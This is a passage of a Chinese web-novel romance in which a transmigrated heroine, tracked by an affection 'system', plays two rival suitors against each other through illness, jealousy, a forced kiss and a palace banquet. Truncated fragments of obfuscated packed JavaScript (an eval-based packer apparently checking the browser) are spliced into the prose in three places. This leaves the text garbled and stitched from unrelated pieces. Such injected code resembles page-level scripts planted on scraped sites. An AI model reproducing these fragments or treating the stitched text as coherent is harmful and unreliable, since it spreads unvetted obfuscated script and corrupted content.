他垂眸睨着她的动作,将她恶劣的行径尽收眼底。 她生得太好,做起这样令人羞耻的事时,那张脸的神色依然令他不会感到生厌,甚至觉得有些可爱。 半天没等到印象中的斥责,叶冬知很是意外,她抬头看去,见对方正神色不明地看着她。 她顿时失了作弄他的兴趣,将手从他领口拿出,然而却被他忽地握住手腕。 她讶然地睁大眼睛,瞪他,“你干嘛?” 话落,在她的惊疑不定中,他的手轻轻握着她,带着她的手一点点探进他的衣衫之内,比她方才深得更多。 “你想要的话,我允你。” 莫名其妙的一句话,叶冬知反应了半晌才想起,他这是在回答她说的那句“不如再体验一次”。 见鬼了吧! 顿时,她浑身猛地起了一层鸡皮疙瘩,用力将她的手抽了出来。 “你发什么神经?!” 她狠狠瞪了他好几眼。 邬涟视线落到她愠怒的脸上,那口不知从何而来的怒气,此刻被平息不少。 她总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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灯笼在行走间微微晃着,叶冬知一言不发地走着,回想方才怪异的事。 身侧少年轻轻的声音响起,“贵女方才同大公子说了什么?” 殷水玉敛眸,心被高高吊起,他很想知道贵女与那位公子间有过什么过往,会比他和贵女还要亲近吗? 这种不安从见到那位公子的第一面便有了,他好担心,那位公子会从他的身边抢走贵女。 担心贵女的温柔不再只属于他一人。 “没什么,一些发笑的过往罢了。” 她回答了,但明显没有想与他过多提及。 殷水玉有些不甘心,又追问道,“方才大公子也想送贵女回去,为何拒绝他呢?” “得了吧,别人可是高高在上的刑部尚书,天子近臣,别人开句玩笑,难不成还要当真啊。” 她说这话时,有点讽刺,又有些他说不出来的意味。 他直觉贵女与那位公子有过很多特别的过往,可他不敢多问,也没有资格多问,若是贵女因此厌恶他,那便得不偿失了。 殷水玉抚了抚自己的心口,这里闷闷的,贵女自己没有察觉,提到那位公子时,她的态度是和对所有人都不一样的。 “贵女,我背您吧,回去还要走好一会的。” 叶冬知有些意外,笑着道,“啊?你太瘦了,我怕压着你。” 闻言,他慌忙道,“不会的,我这段时间有好好吃饭,用得比平时多,而且,您很轻,不会压着我的。” 正好这路走得她有些累了,叶冬知也不矫情,干脆应道,“那好,你要是累了,中途放下我就好。” 殷水玉弯下腰,轻而易举将她背了起来。 和叶冬知想得不一样,少年虽然看着瘦弱,但肩背却很宽阔,背着她仍脚步轻盈,没有丝毫下坠。 少女柔软的身躯伏在他身后,殷水玉的脸在夜色中绯红不已。 她身上的香味包裹着他,令他感觉幸福无比。 真希望这条路再长一些,可以一直走下去。 在殷水玉这样的念头中,路终于还是走完了。 他珍视又小心地将背上的人放下来,然后从怀里摸出一个雕花的锦盒。 “这是什么?” 殷水玉咬唇,犹豫再三开口,“是一对耳坠。” “耳坠?”叶冬知稀奇地从他手中接过盒子,盒子很精美,分量不轻,雕工细致,一看便知这幅坠子不会很便宜。 果然,在她打开之后,一对莹润的东珠耳坠正镶嵌在其中,在月色下流转着细腻的光泽。 “送我的吗?这一看就很贵,你哪里来的钱?” 叶冬知既惊喜又好奇,面前的少年见她喜欢,也不禁露出笑意,“我攒的,我为府里的姐姐们描画妆容,她们会给我钱。” 合理的解释。 他生得这幅容貌,想必府里的婢女便都趋之若鹜。 叶冬知将耳坠拿在耳垂边比划了下,笑着问,“好看吗,不若,几日后的宫宴,我便戴这副。” 殷水玉目不转睛地盯着眼前的女子,红着耳朵,眼里满是痴迷和赞赏,“好看的,贵女戴什么都好看。” “谢谢阿玉,我很喜欢。” 她将盒子盖好,郑重道谢,这还是她到这里来,收到的真正意义上的第一份礼物。 48. 第 48 章 此后几日,艳阳高照,京都热得犹如蒸笼。 夜里,一道炸雷响彻在天际,紧接着是一场瓢泼大雨。 这场雨直到黎明依旧不见小,天色昏暗得犹如傍晚,雨水裹着狂风从树木枝芽间刮过,带起一阵阵呼啸声。 自后半夜,叶冬知便睡得不太安稳,房间里搁置了冰块,但她依然觉得热,发了一身的冷汗,整个人虚脱地躺在榻上,过会又觉着冷。 阿蔷早晨进屋准备唤她起身,却见榻上的人白着脸,额边的发早已被汗水浸湿,一摸额头,滚烫灼人。 她跑到殷水玉屋前拍门,“快起来,小姐发高热了,你先去看着,我去请大夫!” 屋里的少年将将收拾妥当,便听得阿蔷急切的呼唤,当即白了脸,三步并两步冲进叶冬知的卧房。 院里的下人少,平日叶冬知是允他们进自己的屋子的。 殷水玉一进屋,看见榻上的少女着一身单薄的中衣,面如金纸,唇色也灰白,心疼得顿时落了眼泪。 “贵女......” 他跪坐在她榻前,拿着干爽的帕子给她擦了擦额边的虚汗,又连忙打了冷水,将帕子泡进去,拧干放在她额头上。 叶冬知迷蒙着醒来,只觉浑身酸痛无力,疲惫不堪,身体像灌了铅一般,连睁眼都费力无比。 她掀了掀眼皮,声如蚊蝇,“水......” 殷水玉听见了,倒了杯温水,握着调羹一点点沾湿她干裂的唇。 他好难受。 以往他自己病了,痛了都习惯了,熬一熬便过去了,觉得没什么大不了的。 但如今看见贵女病着倒在榻上,比落在他自己身上痛苦千千万万倍。 若是可以,他愿意代替贵女受此病痛。 不多时,阿蔷带着大夫回来,看过之后,立刻开了一味方子。 “小姐这病不难治,只是来得急,要受些罪,近日饮食要清淡些,不可受热也不可受凉。” “约摸着三日,便能好个大半。” 方子写完后,好在上面的药都是常见的,之前为殷水玉治伤还剩下许多。 阿蔷拿着药方正要吩咐小丫鬟去熬药,被殷水玉拦下,“还是我去吧,旁人我不放心。” 好在治得及时,到傍晚时,高热已经基本上褪下来,叶冬知的面上也有了血色。 出了一身虚汗,又不能沐浴,阿蔷只得给她挨个擦过身子,又换上干爽的衣裳。 叶冬知用了些清粥,有了些力气,扫过屋内,没看见殷水玉的身影,便问: “阿玉去哪儿了?” “他去给你煎药了小姐,你今日喝的药,都是他亲手熬的。” 心口一阵熨帖,难怪今日的药喝起来一点都不苦涩,尝起来还有些淡淡的甜味,想必是他费了心思的。 正想着,门外忽然传来满贵拘谨的声音: “大公子,您来了!” 叶冬知闻言抬眸看向门口的方向,只见身着朝服的青年,眉目冷凝,脚步略有急促地走了进来。 他抬步绕过单薄的屏风,径直到了她的跟前。 阿蔷和长安识趣地退了出去。 邬涟蹙眉盯着榻上的人,本就单薄娇弱的身子被急病折磨一遭,显得越发孱弱。 她未束发,墨发散落在身上和锦被之上,那双剔透的杏眼黑白分明,落在苍白的脸上越发显眼。 见到他就这样直接闯了进来,似乎有些惊讶,低低唤了一声。 “你怎么来了?” “我还未出宫便知你病了,大夫的方子是否有效?若无效的话,拿着我的铭牌去请院正来。” 他就连语速都比平日要快些,虽然神色照旧冷淡,但眉间的担忧落在这样冷清的脸上,却分外明显。 她刚想开口说自己好些了,就见他伸手用手背摸了摸她的额头。 这样亲密逾矩的姿势,换做以往,他断断不会容许,更别说他自己做了。 叶冬知愣住了。 邬涟常年身上温凉,是以触碰到之后仍觉得有些烫,他不太确定,遂忽然弯腰,用他的额头去触碰她的。 熟悉的檀香裹着他身上清冽的气息传来,温柔而细致,竟然她恍惚了一瞬。 片刻后,他松了口气,“看来烧已经完全退下来了。” 扫过她怔愣的神色,邬涟似乎才意识到自己方才做了什么。 一切都发自本心,让他没有经过太多思考便不由自主地动了。 “大公子离我这么近,不怕我过了病气给你?” 她撇开眼神,问他。 “我很少生病,这点病气算不得什么。” 说完这句,室内又陷入了沉默。 正巧门外传来一阵脚步声,殷水玉端着刚熬好的药,小心翼翼地走了进来。 药碗被他搁置在桌子上,他抬眼看见贵女身边坐着的人,眼神陡然警惕防备起来。 但他还是守着规矩叫了声,“大公子。” 邬涟自他一进来就已经知道了,他看见桌上的药,厌烦地敛眸,“既然药熬好了,你便出去吧。” 冷淡又带着命令的一句话,是久居上位的人才会有的语调。 里面的不悦和驱赶亦表现得清清楚楚,然,殷水玉却恍若未闻,只担忧又眷恋地盯着榻边女郎,语气坚定道: “平日都是我在伺候贵女,我还需给贵女喂药。” 这句话一出口,邬涟周身的不悦几乎要化为实质。 一个来路不明的流民,一口一个我便罢了,他也只当他并未在府中卖身为奴,但如今居然违抗他的命令,逾越至此,甚至......甚至还当着他的面觊觎她。 但眼前这个少年是她亲手救回来的,他受够了她对他冷淡疏离的态度,不想再因为此人节外生枝,便忍着那股怒气又说了一句。 “出去,我再说一遍。” 屋内的少年虽然垂眸敛目,但脊背笔直,没有半点相让的意味。 叶冬知见邬涟真有些动气,温声劝道,“阿玉,你先出去,听话。” 邬涟在刑部任职,虽手段狠辣,但公务之外,无人不赞他品行正直,既不曾苛待过府中下人,又从未仗着权势身份欺辱过百姓,他没有对殷水玉暗中下手,忍他到现在,已是光明磊落,大度不已。 若是他真想对殷水玉做点什么,只怕,她是拦不住的。 “贵女!”少年红着眼睛唤了她一声,语气满是依恋和不甘。 “连我的话也不肯听了吗?”叶冬知又说了一句,这次已然语气重了不少。 至此,殷水玉才一步三回头地出了屋子。 若非他不想让贵女为难,便是今日被打死在这里,他也要守在贵女身边。 他自从被救下,便是贵女的,他一刻也舍不得离开她。 屋内。 压抑的气氛并未立刻缓解。 邬涟问,“他平日便是这样?贴身伺候你?” 叶冬知摇了摇头,“贴身的事平日都是阿蔷在做,他只是偶尔照顾我。” 闻言,他忽地冷嗤一声。 既然如此,那方才那少年是故意在挑衅他了。 他容忍他留在她身边,已是不易,若再搅弄是非,他也断然不会手软。 心里这样想,但他面上未露分毫。 起身走至桌子旁,他将那碗药端起,摸了摸碗边,发现还有些烫。 叶冬知看出他的意图,有些不习惯,“我叫阿蔷进来喂药。” “不必。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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半晌后,他语气坚定,“会有两全的法子。” 他想,他应该快找到了。 话落,叶冬知不屑地哼了声,“我现在不稀罕了。你可以一直当你的大孝子了,怎么,是不是很开心?” 她讥讽的话落在耳中刺耳无比。 但他却一句话都反驳不了,当初造成这一切的是他,没忍住她引诱的也是他,现在放不下的还是他。 他落寞地垂着眼,在旁人面前高高在上的人,在她面前任她奚落,也不敢有一句不满。 “先喝药吧,身子重要。” 他舀起一勺药,小心翼翼地凑到她唇边,动作生疏,一看便知道养尊处优的大公子没做过这种伺候人的事。 可对方却唇齿紧闭,把脸扭到一旁,一直等到他的手举酸了,也没有张口。 一口气堵在胸口发不出来,他低低叹气,“你要如何才肯喝药?” 叶冬知睨着他的神色,忽然心中起了些恶意。 是他自己送上门来的,她若是不做些什么侮辱他的事,反倒显得她太过木楞。 思及此,她嘴角噙着玩味又恶劣的笑意,说出的话足以令人发怒。 “简单,既然是你求着我喝,那总得拿出些诚意来。” 他没计较她话里的傲慢和鄙夷,顺着她道,“是,你想要些什么?首饰、店铺,亦或者别的?” 她哼笑了一声,若只是这些俗物,对于他而言太过简单,不过是些唾手可得的东西,她既然存心要羞辱他出气,那自然得要一些他看重的,珍视的。 49. 第 49 章 “不若大公子将衣裳在我面前解开,我看满意了,自然会喝药。” 极为淫.荡和无耻的一句话,她就这样毫无负担地说了出来。 之所以是这样的要求,是她想来想去,他身上若还让她觉得不错的,便是这具堪称完美的躯体。 虽然那夜是抱有别的目的,但之后,她也会时不时想起他的滋味。 她笃定邬涟即便肯低声下气哄着她喝药,也断然不会接受这样荒诞的要求,毕竟他守了二十年的清规,她也不指望就这么一句话就让他舍弃脸面,任她予取予求。 她紧紧盯着他的脸,不放过他脸上任何一点动静。她就这样等着他羞赧,等着他气恼,等着他教训她不知廉耻,然后甩袖离去。 然而—— 他安静地沉吟片刻,却说,“好。” 言罢,他重新将汤药搁置,站起身,伸手解开了朝服的镶金革带。 没了腰间的束缚,绛紫色朝服便轻易散开,露出里面的白色中衣来。 邬涟的身段好,肌肤白皙,宽肩窄腰,腿修长有力,这她是知道的,也体会过,但那日是她解开了他的衣裳,其视觉冲击力和所带来的震撼,远远不如他当着她的面,亲手解开自己的衣衫。 让一个清心寡欲、克己守礼的人,心甘情愿解开自己的衣衫,是一件既刺激又足够背德的事,若是发生在邬涟身上,配上他那张冷玉般不可亵渎的脸,便更让人兴奋不已,难以抗拒。 叶冬知也自然如此,她自认定力不算太好,所以,随着他的动作,她的呼吸连她自己都没发现,有些急促起来。 但脱下外衫后,他便停了动作,准备重新喂她喝药。 在古人的思想中,在旁人面前仅着中衣,已经近乎于赤裸,也因此,邬涟即便面上镇定,但他红透的耳尖和因羞耻而微微战栗的身体,已经出卖了他。 叶冬知出声恶劣地打断他,“不够。” “大公子,我说的是解开衣裳,可你现在,不是还穿着一件吗。” 他肉眼可见地僵住了,那抹绯红从他的耳尖迅速转移到脸上,白如瓷玉的面庞,染上红霞,宛如雪间红梅。 他站在原地愣了一会,叶冬知有些不耐烦,“不愿意吗,不愿意的话就算了,我也并非要强人所难。” 随着最后一个字落下,他骨节匀净的手,终是伸向了那件雪白的中衣。 单薄的衣裳在他的指尖慢慢敞开,令人垂涎赞叹的风景在眼前缓缓展现。 的确是很漂亮的身体,胸肌紧实饱满却不突兀,腹肌线条流畅利落,连带着肩膀和手臂,都几乎无可挑剔,完美至极。 在中衣落地的一瞬,他面上的红顷刻便传遍了整个裸露的上身。 冷玉一般的肌肤透着浅浅的粉,禁欲又放荡。 他就这样站在原地,任由她的目光在身上游走,恍若实质一般,令他几乎忍不住要溢出一声轻喘。 欣赏了半刻钟,叶冬知才大发慈悲道,“好了,大公子把衣裳穿好吧。” 邬涟睫毛颤了颤,心跳如鼓地将衣裳渐次穿戴整齐,才端起碗喂她喝药。 这次,她张口,将药一点点含了进去。 一碗药总算在折腾下见了底。 这时,他脸上的红已经逐渐褪去,对她正色道: “我去苏州查案时,发现了一件事,与你父母的死有关。” 叶冬知抬眼看他,心口蓦然抽痛了一瞬。 不知是不是身体的本能反应,在听到这个消息时,她的身体比她大脑更显得急切。 “你说。” 邬涟扫过她镇定的脸,看她情绪并未过激,才缓缓道来。 “你父母的死兴许不是意外,是一场有预谋的谋杀。” “那凶手呢?!”没等他说完,她就本能地追问,语气也重了起来。 “还未完全证实,等我查清楚,我会一五一十告诉你。” 看着他眼神笃定,叶冬知忽然觉得,面前的人似乎真的很可靠。 但不祥的预感在她心中缭绕,“若是凶手位高权重呢,或者是你意想不到的人,你还会为我爹娘报仇吗?” 邬涟点头,慢而慎重,“会,这是我的职责,不论凶手是谁。” 片刻,她低声道,“谢谢。” 这句话是替原身说的,若真能真相大白将凶手就地正法,也算做了件善事,她占了她的身子,也得为她做点什么。 那句道谢声音很小,邬涟却听得很清楚,他心口恍然陷了陷,不由得弯了弯唇。 想到外间站着的少年,他不安走动的脚步声透过门传进来,邬涟又道,“你救下的那少年,若不做出格的事,我不会动他,这点你不必担心。” 叶冬知意外地看着他,仿佛他的害羞只是一场梦,此刻他又变回了那个端方清正的大公子。 “嗯。” 临走前,他给她掖了掖被子,将她的头发悉数拨出来,放在枕头上,以免她睡熟了扯到,竟然比阿蔷还要细致许多。 叶冬知躺在榻上看他,一时间没反应过来。 “晚些我让长安送些滋补的药材过来,安心养病。” 说完这句,他才开门离去。 门打开的那瞬,殷水玉像是一刻也等不了一般,从邬涟身侧急速略过,甚至可以说是无礼至极。 邬涟的肩膀被少年撞得微微错开。 他停下脚步,抿唇侧目看向屋内,那人跪在她榻边,眼神不安眷恋。 片刻后,才重新抬步。 * 叶冬知的病养了三日便已大好。 这几日,殷水玉忙前忙后,不仅日日给她煎药,还学着做了些清淡解腻的小菜,每顿都换着花样。 在他的精心照料下,她病着这几日不仅一点没瘦,甚至面色看起来比病前还要红润些。 晚间用膳时,桌上照例摆着他做的四菜一汤,吃完后,殷水玉绕到她背后,问,“这几日贵女都躺在榻上,可有觉得身子不舒服,不如我帮您按按?” 闻言,她笑,“这才几日,你不仅学会了煎药,又学会了做菜,如今竟是连推拿也会了。” 殷水玉微红着脸,漂亮的眼中弥漫着珍视,“不过是些皮毛罢了,若是贵女喜欢,我再去学。” 他将少女的发拨到胸前,规整温柔地放好,叶冬知懒散地扫了眼,忽而看到他手背红了一大片。 “这是怎么回事?”她拉住他的手,将手扯近了些,“做菜时烫着了?” 原本这只手一直垂在袖中,遮得好好的,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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脑中系统的提示音不断传来好消息。 【检测到攻略目标好感度上升!】 【检测到攻略目标好感度再次上升!】 在攻略殷水玉的这几个月,一切都太顺利,他从不闹脾气,只要她待他温柔一些,他对她的好感便好似没有上线一般,疯狂上涨。 于是,她在这样的目光下,缓缓弯下了自己的手指。 十指相扣,旖旎至极的动作。 得到回应的殷水玉几乎要陷入迷乱的狂潮,他全身紧绷战栗着,低头去亲吻她的手,口中溢出难耐的情意。 “好喜欢......贵女。” “好喜欢。” 发现这样逾越的动作依然没有被拒绝,他的胆子被纵容到前所未有,他用唇珍视无比地亲吻着她的每个指节、每处肌肤,继而,他缓缓抬起头,盯着面前人的唇,难以呼吸地开口。 “贵女......我......” 酥麻和战栗交替冲击着他的身体,连尾椎都带着极致的快感和痒意,他越来越近。 忽而—— 一道压抑着怒气的呵斥陡然打破了这一切。 “你在做什么!” “退下!” 迷乱的气氛戛然而止,叶冬知循声望去,门口站着的青年浑身散发着冷意,那张素来冷清的脸再也无法保持镇定,嫉妒与怒意交织在他的脸上。 当他看见她抬眸的刹那,竟然还有着几丝迷离,邬涟只觉得浑身的血液沸腾叫嚣着,从未有过的滔天醋意令他差点丧失理智,当场杀了这胆大包天的少年。 50. 第 50 章 他几步走到她面前,握住她的手腕,将她拽到怀里,随即抄起桌边的杯子,朝那方才迷乱中醒来的少年掷去。 力道之大,在刹那间,殷水玉的额头被砸出了血,血水顺着脸庞蜿蜒流下。 “贵女!”可他第一时间不是关心自己的伤势,反而想来拉她。 这一动作更是激怒了邬涟,盛怒之下,“唰”地一声,利剑陡然出鞘,剑尖冰冷锋利,直指少年的面门。 “你想死吗?” 他咬牙,语气冷得结冰。 叶冬知惊叫出声,“别!别杀他!” 她只是想拉一下攻略进度,没想到邬涟会正好看到。 “放开贵女!你拽疼她了!” 殷水玉仿佛没有痛觉,血水从他眼皮上流过,但他仍然脊背笔直,面对着剑尖,没有退步半分。 邬涟冷眼睥睨着他,握着剑柄的手,骨节青筋尽数暴起,“你有什么资格与我说话,今日,我就是要你血溅当场,也无人能置喙我分毫。” 语罢,他气极,转腕便要朝前刺去。 “别杀他!”叶冬知用尽力气握住他的手臂,硬生生将他的动作止在了半空。 他垂眸看她,见她眼中居然泛起了泪花,哀求他,“别杀他,求你了!” 竟然为别的男人流眼泪。 说不出来什么感觉,邬涟只觉得心口憋得慌,憋得他要炸了,他额边青筋突突地跳,朝身后唤了一声,“长安!将他押下去,没有我的命令,不许放出来。” 长安立刻反手将殷水玉的双手剪在身后,少年被制,眼眶发红,用尽全力挣扎,眉间满是担忧与不甘,“贵女!不必担心我,你放开贵女!她不愿意被你——” 声音戛然而止。 长安一个手刀狠狠劈下去,少年的头颅便如断颈天鹅一般,无力地垂了下去。 叶冬知一眼便瞧见了殷水玉脖颈后泛起了青紫,她忍不住抱怨道,“下手怎么这么重,他又不会武功!” 见她还在为那人说话,邬涟的忍耐已经到了极致,“你可对他真上心啊,叶冬知!” 最后三个字,他几乎是咬牙说出来的。 邬涟心里不舒服,她亦然。 将她的手腕从他手中抽出来,她剜他一眼,“你作什么这么大反应,我不过给他擦点药而已。” “呵。”他气笑了。 “擦点药?你与他都十指相扣了,与我都未曾做过!而且,方才他都差点要亲上你了!” “你冲我喊什么?是你自己说划清界限的,现在又来发什么疯?”她不甘示弱,怒声怼了回去。 邬涟不可置信地盯着她,心口像被人狠狠打了一拳,又酸又疼。 片刻后,他忽然毫无预兆地上前,将她双手禁锢在背后,另一只手拖住她的脑袋,倾身吻了上去。 这是一个毫无章法的吻。 急迫、委屈、不甘,统统交织在一起,她的唇很软,触碰起来和几个月前一样。 他胸膛急促地起伏,微微喘着气,在她唇上发泄他的不满,寻找那些他缺失的安全感,缓解折磨他无数个日夜的患得患失。 她实在是太没良心了,她不该如此对他。 怎么能这样对他。 叶冬知仰着头,被动承受着他粗暴的索求,眼角因为缺氧而沁出了泪水。 她无法呼吸,张口喘息的刹那,被他抓住机会。舌头如蛇滑腻地探入她的口中,带着一丝酒味,汲取她全部津液。 就连身体,也被他不由自主地勒得越发紧,紧得贴在他胸膛处,被他滚烫灼人的温度包裹着。 事情发生得太过突然,叶冬知只感觉到冒犯,她用力狠狠咬了他一口,趁他吃痛愣神的间隙,挣脱出双手,狠狠将手甩了出去。 “啪——” 清脆的响声在寂静的室内轰然炸响。 “疯够了吗?”她瞪着他,嘴唇因被用力吸吮,红肿得厉害。 邬涟这辈子何时被人打过巴掌,愣神了很久才反应过来。 他低头看她,长而密的睫毛被水渍晕湿,粘黏成一缕一缕。就连眼尾也红了,落在他冷玉一般的肌肤上显眼刺目。 “叶冬知。” “你就仗着我心悦你,总是气我是不是。” 说这话的时候,他的声音小了很多,细听还能听出些茫然和委屈。 “明明我都能忍受他在你身边伺候了,你还这样对我,难不成你忘了你之前对我做了什么了?” 她推开他,拿手背拭去嘴边残留的液体,他触及到她像是嫌弃的动作,眸色沉得更深。 “都说了是以前,以前我是喜欢过你没错,但那都过去了,我现在不喜欢你就不行了吗?” 闻言,他眼中神色顿时冷下来,如积年寒冰。 她想翻篇? 曾经他也以为可以翻篇,可殷水玉的出现,彻底让他从虚妄中清醒过来。 如今无论如何也翻不了篇了,他光是看到她与旁人亲近,他就不能忍受,一分一毫也不能。 是她亲手将他变成这幅样子的,逼得他到了义子不像义子,情人不像情人的地步。 “不行。” 他蓦地出声,笃定的语气让叶冬知拧起了眉头。 “凭什么?” “不需要原因,不行就是不行。”他又道。 坚定的态度让叶冬知一个头两个大,她本来攻略殷水玉顺利无比,眼看着没多久,应该就能成功了,现在邬涟半路拦着她,她生出了些厌烦。 思及此,她干脆直接破罐子破摔,直接将事情做绝。 她抬头盯着他的眼,以一种她从来没有过的郑重语气道: “我跟你说实话吧。” “其实,我从来没喜欢过你,我只是看你不近人情又高高在上,想戏弄你一番罢了。” “谁知道你当真了,当初和你做的那些事,恐怕你也猜到了,只是想利用你摆脱与你义父的婚约罢了。” “我就是一个彻头彻尾的骗子,没什么值得你念念不忘的,所以,别再纠缠了,好吗?” 说完这些话,叶冬知感觉自己从来没有这么轻松过,她把全部摊开给他说,已经这么直白,对于他而言,应当是奇耻大辱,想必,以他那样高傲的性子,得知真相后,对她那点情感很快就会消散殆尽。 果然,邬涟站在她对面,听完她的话,脸色顷刻煞白。 就连眼神都泛着一种她难以理解的哀伤和悲痛。 他愣在原地,想说些什么,但发现嗓子像被堵住了一般,什么都说不出来。 她终于承认了。 其实很早前他有过猜测,他猜她在利用他,猜她不想嫁给义父,猜她后来缘何对他冷淡至此。 但有一点他没猜到过,她居然一点都未曾喜欢过她,从始至终,她对他没有半点真心。 过往种种,皆他一人烦忧。 可笑至极。 也难怪现在她可以对着另一个人笑颜如花,不抗拒殷水玉的触碰,甚至能三月不间断为他喂药,总是护着他,为了殷水玉频频与他作对。 这些,她对他从来 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“是我识人不清,从前错信,今日方醒。” “往后你要如何,与谁两情相悦,与我绝不相干!” 话音落下,他转头离去,没有再看她一刻,依旧如平日一般高傲,不肯折脊梁分毫。 但在月色下,映照出几分落寞来。 她倚着桌子撑住自己的身体,看着他的背影逐渐远去,一时心绪有些复杂。 邬涟离去不久,殷水玉便被长安送了回来。 果然是他的作风,这是想告诉她,今后她与殷水玉要如何,他都不管了。 叶冬知让满贵将殷水玉安置在榻上,拿起帕子将他脸上半干涸的血迹擦掉,又细细上了药膏。 她一言不发坐在榻边,拿帕子包着冰块,敷着还有些肿胀的唇。 不多时,榻上的少年悠悠转醒,一看见她,便挣扎着要起来,却牵扯到颈后的淤青,疼得倒吸了口气。 她连忙按住他的手臂,“先躺着吧,他已经走了。” 殷水玉的目光打量她的脸,又打量她的全身,发现确实没有什么不对劲的地方,才堪堪松了口气。 “贵女。” 他低声唤她,语气自责,“都是我,才引得大公子不高兴,害得贵女为我担心。” 她沉默半晌,“不怪你,他本来就是那样的脾气。” 本还想再说什么,他扫到她过分红的唇,瞳孔骤然一缩,片刻间千百种想法从他脑中略过,然后指向了一个他难以面对的事实。 殷水玉的脸色白了起来,但贵女似乎有些心不在焉,并未注意到,只说,“你翻身趴着,你颈后有伤,我给你涂些药。” 他依言照做,冰凉的膏药涂在颈后,有些刺痛,可他却像没了知觉,只觉浑身坠入冰窖。 “我思来想去,打算请个师傅来教教你拳脚功夫,你生得这般好,这张脸今后还会给你带来更多麻烦。” 说完,却并没等到答复,叶冬知又叫了一声,“阿玉?” 殷水玉将头埋在枕里,仿若大梦初醒般,匆忙应了声,“我在,贵女您方才说什么?” 倒是难得见他走神,叶冬知心里有些稀奇,只好又说了一遍。 殷水玉垂眼应了,“嗯,我都听贵女的,您想让我做什么,我就做什么。” 叶冬知无奈地笑了笑,嘱咐他好生休息,便回了自己的卧房。 51. 第 51 章 又将养了几日,叶冬知身子已经大好,正好赶上了德宁公主的生辰宴。 德宁公主乃是当今天子最宠爱的女儿,乃中宫嫡出,身份贵重。这次,正是她的十七岁生辰宴。 因着有皇帝的疼爱,这个年纪,别的公主要么便和了亲,要么便下嫁宗室子弟以笼络人心,唯有德宁还住在宫中,且早早有了封地食邑。 参加生辰宴的世家子弟身份都不算低,叶冬知如今虽是孤女,但叶应中在世时官职居三品,且立有汗马功劳,加之皇帝礼待遗孤,这才给她递了帖子,邬彦两兄妹是庶出,这样规格的宴会,是没资格去的。 一大早,殷水玉便给她梳了妆,从妆奁中选出那副东珠耳坠,给她戴上。 到府门处时,永定侯府的马车已经准备好了,她掀帘上车,邬涟坐在其间,姿态冷然,从头至尾一个眼神都没给她。 不过她也并不意外,一路沉默着抵达了宫门。 宫门处早已有内侍等着引路,轮到他们时,那为首的内侍一见到邬涟,原本脸上高傲的神色都变得谄媚几分,忙道: “呀,邬大人来了,奴婢奉公主的命在这等您许久了,可算把您盼来了,公主说了,您不必同其他公子小姐一道,奴婢领着您走另一条路。” 邬涟面上神色淡淡,点头,“有劳。” “瞧您说的,为您引路那是奴婢的福气。” 说着,那首领内侍见到刚下马车的叶冬知,余光扫了眼,吩咐身后的人道,“小顺子,这叶小姐就由你来引路。” 小顺子得令将她带到另一条路,这条路上还排着许多马车,皆要拿出请帖以验身份。 至于邬涟,等她终于进了宫门,怕是已经被德宁公主好好款待了一番吧。 费了一番周折才终于到了公主所居的德宁宫,此处虽叫做宫,但占地宽广,已经堪比德宁在府外的公主府,其间建筑,假山、楼宇、湖泊应有尽有,极尽奢华。 叶冬知被引到一处凉亭之下,这里已有些人,都是各家的小姐,与她都不甚相熟。 她找了个角落安静坐着,靠着栏杆,盯着脚下的湖泊,金鱼在荷叶之间戏水,不时跃出水面,溅起阵阵水花。 “看,她耳上戴的那坠子就是我前些日跟你说过的,只不过我去的时候,店家说已经卖了,是一个长相惊为天人的小公子买走的呢。” 叶冬知起初不知道是在说自己,直到另一道女声响起,“难道是邬大公子?可是这叶冬知不是说跟他义父有婚约么,怎么会给她买首饰。” 两人自以为说得小声,但实则清晰无比。 她侧目看过去,是一对姐妹,正掩唇说着小话,目光不时朝着她看过来。 发觉她的目光之后,颇有些尴尬地背过身,愈发压低了声音。 叶冬知无趣地摸了摸耳垂,那东珠触感莹润,在夏日里摸起来冰冰凉凉。只不过她却忽然觉得有一道炙热的视线盯着她,盯得她耳垂都隐隐发起烫来。 她下意识朝那道视线看去,却只看到湖中心的拱桥之上,邬涟侧身站着,着一身玄袍,头戴墨玉发冠,正与对面的女子说话。 女子一身正红锦服,即便隔着一段距离,也能隐约看见她衣衫之上金线绣成的凤凰,在日光的照耀下仿佛要展翅腾跃。 那女子周身贵气逼人,五官明艳端庄,肤若凝脂,神态间带着隐约的傲慢。 这便是德宁公主。 二人身形皆极佳,并肩立在桥上,湖中池水清澈,并蒂莲在其间盛开,看起来确实很般配。 不知道说到什么,德宁公主抿唇笑起来,二人转过身来,邬涟的目光在这一刻快速朝凉亭处投来,与她有一瞬间的相触,随即毫无波澜地略过。 坐了一会,有些累了,叶冬知问下人要了些鱼食,蹲下身喂湖中的锦鲤。 方令仪立在不远处的廊桥上,不动声色将这一切收进眼底,随即冷笑一声。 邬涟是德宁公主的座上宾,她动不得,这落单的叶冬知还不行吗。 她摇着团扇走过去,趁着这会人越来越多,移到毫不知情的叶冬知背后,假装崴脚俯下身,狠狠撞在了她的后背上。 突如其来一股大力,叶冬知猝不及防整个人往湖中倾倒,幸而她眼疾手快抓住了一旁的柱子,才没有掉落下去。 胸腔里的心跳得飞快,抬头看去,身后的方令仪摇着团扇,皮笑肉不笑道,“哎呀,叶小姐可得小心些,这湖可深了,掉下去一时半会没人救上来,怕是要咽气的。” 叶冬知站起身,朝着凉亭里挪动了几步,心里已经明白方才是怎么回事,冷着脸还了回去。 “方小姐还是离我远些,若是我掉了湖,你站在这里最有嫌疑,没记错的话,令尊的官职到如今还没恢复吧。” 这一下可谓是戳到了方令仪的痛处,她险些没忍住当场就要发作,但一触及到周遭小姐们看热闹的眼神,只能生生憋了回去,嗤了一声,“不劳你费心。” 